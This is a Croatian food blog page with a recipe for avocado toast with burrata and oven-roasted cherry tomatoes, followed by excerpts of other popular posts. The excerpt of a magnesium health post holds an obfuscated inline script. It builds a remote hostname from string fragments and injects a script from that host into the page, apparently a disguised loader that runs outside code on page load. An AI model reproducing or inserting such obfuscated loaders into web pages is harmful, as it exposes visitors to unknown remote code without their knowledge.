AVOKADO TOST - KREMASTA BURATTA I RAJČICE 🍅 🥑





Avokado tost - kremasta buratta i rajčice 



Kremasta burrata, avokado i slatko-kiselkaste cherry rajčice iz pećnice čine savršen spoj za doručak, brunch ili laganu večeru. Ovaj toast izgleda elegantno, ali je zapravo vrlo jednostavan za pripremu.




Avokado tost 


Sastojci za dvije porcije:

Za sporo pečene cherry rajčice:

  • 250 g cherry rajčica

  • 2 žlice maslinovog ulja

  • 1 režanj češnjaka, sitno nasjeckan

  • prstohvat soli

  • prstohvat svježe mljevenog papra

  • prstohvat suhog origana ili timijana

Za tost:

  • 2 veće kriške kruha (sourdough)

  • 1 avokado

  • 1 burrata

  • 1 žlica limunovog soka

  • maslinovo ulje za serviranje

  • sol i papar po ukusu

Po želji:

  • Chilli pahuljice

  • svježi bosiljak

  • mikro bilje





Priprema:

  • Zagrijte pećnicu na 140-150°C.
  • Cherry rajčice prerežite na pola i rasporedite po plehu obloženom papirom za pečenje. Dodajte češnjak, maslinovo ulje, sol, papar i origano ili timijan. Lagano promiješajte.
  • Pecite oko 60 minuta, dok rajčice ne omekšaju i blago se karameliziraju. Ovaj način pečenja izvlači prirodnu slatkoću rajčica i daje im intenzivan ukus.
  • Avokado zgnječite u zdjelici. Dodajte limunov sok, prstohvat soli i papra i lagano promiješajte dok ne dobijete kremastu teksturu.
  • Kriške kruha tostirajte u tosteru, tavi ili pećnici dok ne postanu zlatne i hrskave.
  • Na topli tost rasporedite sloj avokada.
  • Preko stavite burattu, a zatim dodajte nekoliko žlica sporo pečenih cherry rajčica.
  • Pokapajte s malo maslinovog ulja i po želji dodajte chilli pahuljice ili bosiljak..

Ovaj buratta avokado tost sa sporo pečenim rajčicama je savršen primjer kako jednostavni sastojci mogu napraviti izuzetno bogat i slojevit okus.


Avokado tost


Pripremila: Ivana Matas 


Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

KAKO RAZLIKOVATI ISCRPLJENOST OD LIJENOSTI?

Slika
Kako razlikovati iscrpljenost od lijenosti? Ponekad se čini da su “lijenost” i “umor” isto, ali u stvarnosti to su potpuno različite stvari. Lijenost je trenutna nevoljkost za rad, gubitak interesa ili dosada koja obično prolazi nakon odmora ili promjene. Iscrpljenost ide mnogo dublje; to je fizički i mentalni umor koji ne nestaje jednostavnim predahom, a ponekad donosi i bolove u tijelu ili osjećaj gubitka kontrole. To nije prolazna faza; iscrpljenost traži stvaran odmor. <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Znakovi da si stvarno iscrpljena Ako se ovi znakovi ponavljaju kroz dulje razdoblje, velika je vjerojatnost da je riječ o iscrpljenosti, a ne o lijenosti. 1. Nedostatak motivacije cijeli dan Ako se cijeli dan osjećaš demotivirano, i to ne samo u određenim trenucima, moguće je da je riječ o iscrpljenosti. Za razliku od lijen...
Pročitajte više